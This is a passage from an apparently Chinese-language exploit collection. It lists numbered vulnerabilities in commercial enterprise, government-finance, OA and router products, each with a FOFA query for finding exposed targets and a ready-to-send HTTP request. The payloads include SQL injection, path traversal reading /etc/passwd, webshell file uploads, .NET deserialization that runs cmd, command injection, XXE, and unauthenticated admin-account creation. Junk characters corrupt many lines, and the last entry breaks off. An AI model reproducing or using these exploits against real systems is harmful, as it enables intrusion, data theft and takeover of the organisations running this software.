4 ], o/ }, D3 X0 o) zFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
2 T& r+ ?8 h# ^4 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 X5 c! E" X; m1 a7 AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 C( @9 n! L% ?. d0 jConnection: close
- ?( h4 o& S. t2 ~8 i

; j2 }3 v0 R- M* |. `+ i- b# n  A47. 用友GRP A++Cloud 政府财务云 任意文件读取
6 s* `/ m4 y! h1 m3 X. {FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
7 M; m$ F; @; Y  ]Host: x.x.x.x
7 X- d) m" U8 @1 O% I  u2 K' M8 gCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
9 D) n( P1 F' ~; l2 v1 c, ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  V  m& }4 s% K  @$ U  uAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
% n1 K" B: B  DIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close

* _  \1 O& c1 k3 C

6 W! `. F' h; p0 x; @  {$ ?48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
6 Q0 d, I* b3 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
/ q# R; v$ u5 [: I- m! s' G3 vContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
# ~3 e7 {' _0 w# O8 G------269520967239406871642430066855
0 R* o3 Q7 X4 T2 t+ HContent-Disposition: form-data; name="file"; filename="s.php"
+ e4 s1 |( p, A- `" a2 r/ ?1231
. B( r" ~' Y. @8 [& ZContent-Type: application/octet-stream
$ n% j0 ~$ e2 b6 M- x, w------269520967239406871642430066855
7 ^& y" n: R7 e. T  P7 wContent-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
! S6 r  O- G4 ZFOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
) V1 H: ^3 _, a: SContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; U( I9 i/ w* X! t/ J( ZAccept-Encoding: gzip, deflate
# T, H# v" u5 r, `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
: M! \9 I4 z! T0 O$ O) p3 yContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
8 @  N9 W1 E0 S) a
1 e+ l  J: n. n7 dupload
-----------------------------vvv3wdayqv3yppdxvn3w--


+ `8 [7 @9 i9 L1 y$ u) t4 V$ C# fhttp://x.x.x.x/tmpfile/updB3CB.tmp.php

4 k' B, A9 \9 S9 ~( @50. QDocs Smart School 6.4.1 filterRecords SQL注入
" b$ }' f5 ^' H2 S- J2 {; }FOFA：body="close closebtnmodal"
# T* I1 N% i) Q8 X8 y- m" dPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
Accept: */*
. i" @& f; O& |' X) Y9 wAccept-Language: en
Content-Type: application/x-www-form-urlencoded
' z2 z' L" J2 |& `Accept-Encoding: gzip

% a7 B' Z' v% M+ V1 k7 v# a- ]4 D+ bsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
& {2 u, r4 U) Y
8 y) h3 }5 ?6 h6 v
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
! Z4 K5 \+ {: @/ A+ u5 F2 j+ [' Y8 VFOFA：app="云时空社会化商业ERP系统"
3 U/ c7 d* ]& r9 O" h7 PGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
% U  o8 w: t: h  v3 cHost: your-ip
' H- Q+ m" L0 [7 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
0 V/ U$ K1 R1 }( e4 y; C( XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
" ^% S1 S; i; S( ?8 \" \3 pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


! z/ ?3 Z- A$ `! x8 [52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
. x! ~; b- Q) R# }8 G+ `! OUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
5 f/ R& o8 o  c
- \% |9 E( Y2 r  U* {6 q9 [tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
/ [! e/ m( [* |1 L0 \0 C' j! s/ f" [1 H2 e
( n% i/ C% M- l) ^  g2 ~4 s
53. 迪普 DPTech VPN Service 任意文件上传
# @* R3 `8 I- p6 s( SFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

% p% a/ \( w8 `/ |/ ^1 \# y
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
/ W7 F, y+ |/ ~FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

7 o. ~3 J: m' j6 }" P
, ~1 J9 v- ?. a& l9 J6 E" j完整数据包
- P0 r3 z9 s! F' i1 G, T: jPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
+ I9 L% ^2 D/ q2 O/ A5 |User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

{
$ }( L8 i# z* q  S/ a9 c"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
+ \5 n9 y+ s0 f0 {5 ?& Q    "StartInfo":{
8 @! H) H# w0 O! {! e0 a& M% T   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
! g  g. L, j6 h/ j7 A    "FileName":"cmd",
/ i- ~3 z% |3 ^- d4 v) B( a    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
' {1 W& X* S! }/ w3 W* v    }
, K+ g/ B( b0 n! n9 l# B- R  }
  }
}

3 ?/ X7 t% k4 F- t$ m. W- o8 w
第二步，访问如下url
- U, O9 ^7 a( `! F/ m/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

6 \2 R5 ?1 W  k' s( _% Y) _+ U( u6 M
9 o/ p0 M7 B6 X% ]  S% D# D55. 畅捷通T+ getdecallusers信息泄露
+ {$ D0 t' }3 D7 \! }FOFA：app="畅捷通-TPlus"
- Z1 @. \9 k  w" o  p第一步，通过
# K1 q& y' i( |7 v- H/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
+ c2 n/ F  x% k" ~  X1 O1 n第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

, |1 G& E$ w' O5 e: Q56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
1 ^7 \9 d$ ^2 [' @8 R# u. X' q* ?; oContent-Type: application/json
/ n# B( U2 p! F% M% K8 m
{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
# T0 |, h# b" p. `% _6 I1 b   "MethodName":"Start",
! I, Z1 ?1 _, B8 |  i9 f3 A    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
# w$ e+ n) U* o! [& W: p8 J" B           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
* P6 X1 F% k) S; ^9 d% D       }
    }
1 {! @- {! e8 c  }
9 [) h, n. U' T4 `7 h& B+ D}

% V0 Y/ b# a( O9 `3 v' H! V
57. 畅捷通T+ keyEdit.aspx SQL注入
8 V* A8 q7 \3 ], C+ HFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
' K* t$ H; q, i/ v' I0 GHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
) f2 T5 `5 M6 N) A* e; j* [4 b# sAccept-Charset: utf-8
- h6 B, S6 W* C3 WAccept-Encoding: gzip, deflate
Connection: close


58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
0 F4 {& w- u% bUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
8 B/ n. ]5 P1 zAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
) C1 {) k; H- iFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
( z6 U+ u; F2 ^! L2 dPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
% E' g" t$ C$ e, IHost: 192.168.86.128:9090
. ^; `/ r5 Y  TUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
# ~6 `# w  P5 n# o$ V/ k) MAccept-Encoding: gzip

PAYLOAD
9 Z$ |4 d* a# p& p3 Y1 X8 e+ }

4 b/ n5 z# F( ]8 }60. 百卓Smart管理平台 importexport.php SQL注入
/ D. C, E3 P" d( Z- VFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
1 F' E3 x) k4 a, Z$ X  CHost:
2 e+ q) c. B& X7 n0 [5 U/ W$ dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 g* G. f# N2 |  A  x+ S% G* vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! I- w- Q. L) K. |" p6 B+ G. x8 zAccept-Encoding: gzip, deflate
5 z5 g' W* h: Z1 |, v9 M; gAccept-Language: zh-CN,zh;q=0.9
6 h$ ^9 K, J' _# {& I) nConnection: close
7 ^2 c+ Z4 d" l8 I8 Z9 l6 g2 c

& |4 Y5 O" }+ y: O61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
! q2 e5 h4 d" f1 H5 g; yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
# |; c0 o! b$ ~) P& i4 L( sContent-Length: 27
Accept: */*
6 m5 ]3 F  k/ D6 u: K3 _, ZAccept-Encoding: gzip, deflate
Accept-Language: en
5 I7 t. K0 R. r7 S' y2 \Content-Type: application/x-www-form-urlencoded
6 _0 e% @4 M) D' Z
! R8 p" ?; P6 ]( U  m( M3 A8uxssX66eqrqtKObcVa0kid98xa


4 v9 o: _& t2 T. h1 f7 Z62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
8 `! B) [* `5 IGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
. ^& T; C1 V9 |2 x( ZUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
6 Y" f$ H( }" I: g  }7 f( Z4 v- s1 k' F$ VConnection: close
; t* t. x1 x  P) F: sAccept: */*
  T5 X, D5 L+ W5 J8 H6 VAccept-Language: en
4 ?  Q% U4 g& l" o7 `' F9 d4 [: p* IAccept-Encoding: gzip
" e5 n- Z) k& f2 ^3 ?1 P" C

访问

2 ?" O# \4 ^" v, w/ u  p+ KGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

+ u( ~4 [6 |0 o$ n4 v; i
+ X% J6 U# v/ t+ B( z63. IP-guard WebServer任意文件读取
$ H# J- i* w; z7 N( D# A3 D" V, I2 n2 |IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
- P- l8 T* ?* QPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
6 e8 }% l  x* T8 _Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 `3 D6 v; z/ vAccept-Encoding: gzip, deflate
% @) ]  o# b' \  B* o& ~- S+ NAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
/ D9 Y* Q3 J* t  b$ }/ A6 t. x
6 ^, u6 X+ Z% _" L/ a' Ipath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

4 K8 m0 [9 ^& b- h- W64. 捷诚管理信息系统CWSFinanceCommon SQL注入
) q% Z0 O8 j) a! E) NFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
; m8 Q- [2 l4 r2 ?2 \: HHost: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
, J& Y5 t; f6 D6 W( G8 {Connection: close
Content-Length: 369
' v4 D( |0 L0 U( pAccept: */*
! Y5 l7 e& M, N7 W8 `3 yAccept-Language: en
6 o6 C% U- w1 m( |; J: O( MContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
; ^: ]7 J1 O- L, S
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
3 ]6 L! A" x) d  h0 v</soap:Envelope>

) [' b, n. O# d& j" C9 C* P+ \
  O# ^% v- o* ~  s& t4 r9 K65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
+ N; a/ W& Y+ u$ l. E8 l, BFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
. O1 L* W0 ]- z( ^- D响应200即成功创建账号test123456/123456
9 O/ b* n  X5 I4 EPOST /SystemMng.ashx HTTP/1.1
& M. s+ R, i: m, n2 n; xHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
$ ~( {8 `" L% ?( ]Accept: */*
Connection: close
Accept-Language: en
Content-Length: 174

8 f: R9 A; K. boperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

) S, y5 y6 {; l1 H- d; c& f5 b( G
3 [+ g) n2 f/ U& P: o66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
5 \; Q# N! C: F$ [+ Z/ y9 SFOFA：app="万户ezOFFICE协同管理平台"
1 S: B6 w) I' v& a7 ?
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
" f2 }9 u, m( D9 \) _) q- SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
6 w' ?  o# b; o* u# h  z/ EAccept-Language: en
Accept-Encoding: gzip


7 F7 {/ M; b) {第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
& C, ^! ?9 Z. z! S5 oFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
5 Q1 u# |" t3 E5 w: G5 m; MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
4 H- Z8 k5 ^, e! V0 J- j; n. xAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
2 t) F: r' [$ k% ]5 X8 LConnection: close
' S( U; f' o4 w9 g# MContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
: U% q/ k0 P, xDNT: 1
; ]! ^+ @; w5 zUpgrade-Insecure-Requests: 1
' o8 \6 D  _! ?( @6 Y! T# l& [
--ufuadpxathqvxfqnuyuqaozvseiueerp
' ?; i: X+ D: m! FContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
7 F: t. V2 _9 V* [5 F' W
<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--


文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
7 X- x, O0 ]! l  U2 ~
68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
( }( U1 n; p. A' k, sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
2 k4 L- U# N! BAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 O. e0 A1 z! o- R% {9 q3 s# y

7 e* }& t' H, l" N# K6 s2 O69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
1 Z' G( a" M8 R  K& I) G# Z) J, {User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
5 \2 g8 n3 i4 o- p6 i' X6 v" r9 {Accept-Encoding: gzip, deflate
% N/ ?2 \9 e8 ?# D9 a0 g6 ?Accept: */*
, `5 Z3 D$ {8 M. u6 F! h0 BConnection: keep-alive

3 \0 ^$ q2 y" m- j; ^- X
70. 万户ezEIP success 命令执行
3 {5 I6 T4 P, v9 L% dFOFA：app="万户网络-ezEIP"
. e0 j4 C6 v" C: e+ g- _* V3 C3 [POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
$ |/ X% Q) C) v( J: u$ ]9 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
$ b$ V! ^9 V# j% N: u' bSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
1 H# T, B( ~+ N* rTYPE: C
Content-Length: 16702

  i4 X3 J6 I1 n, [$ Y, q__VIEWSTATE=PAYLOAD


( V2 N/ Q. z4 x  Y9 \0 z71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
% q0 L. Z' N1 Y7 f/ vHost: x.x.x.xx.x.x.x
7 Q+ B* y. p6 E& }: t' N; mUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
: g- D6 z2 k1 g/ {1 J. p+ W$ WConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. N$ o1 A' h8 M7 ]" DUpgrade-Insecure-Requests: 1


72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
4 ]8 c7 R9 F) t) M, GPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
4 h/ b9 [3 h% XHost: 192.168.40.131:8099
/ c( R) n4 _$ U) I1 g+ I3 lUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
  F* C# d' I3 x4 t# JContent-Type: application/x-www-form-urlencoded
6 j! l: j% o* F- k0 V; x* u7 L- c; l0 TAccept-Encoding: gzip

- _' m1 H; G# M0 q8 t( b4 I/ pS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


73. GeoServer wms远程代码执行
1 S8 A7 |6 C0 @2 NFOFA：icon_hash=”97540678”
: X5 W; L; t% W" \' uPOST /geoserver/wms HTTP/1.1
! a0 S5 ]* C$ {! W; p5 P6 `- V% VHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
# F+ y4 g8 \$ T. zAccept-Encoding: gzip, deflate
Connection: close
, W2 J2 T% L$ u3 M5 h; oContent-Type: application/xml
SL-CE-SUID: 3

PAYLOAD


( N9 z+ e& u, z3 M# u0 p% H, C74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
) ?& b( G: G( s9 E+ d+ kPAYLOAD
. V, B6 S& l9 V" s7 P% k2 x
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
  A+ S$ u' _5 m% R9 U% \! m1 dHost: x.x.x.x
; b5 f# i: c8 E6 e7 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
9 h8 p9 g8 i7 C2 n+ wAccept: */*
Accept-Language: en
; H* q) h# {. |0 V# F5 t5 s- [Accept-Encoding: gzip
# p) {  Z" G0 L* F
7 Z* f4 W4 q6 o$ Q/ ]& |+ S) h
0 ]' n& H3 Y0 k. C2 _GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x


76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
' w. M( n( t% V- L) v6 g% cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
8 l! u! ?6 G% a; \6 oConnection: close
" A. N' p. C" N' r1 {Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
: ]9 L4 Q+ Y0 @& eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
6 A0 q7 k4 g4 [" L1 T3 w* O* Y6 j
4 }- N# l* i5 \) g7 F! G! N. A{
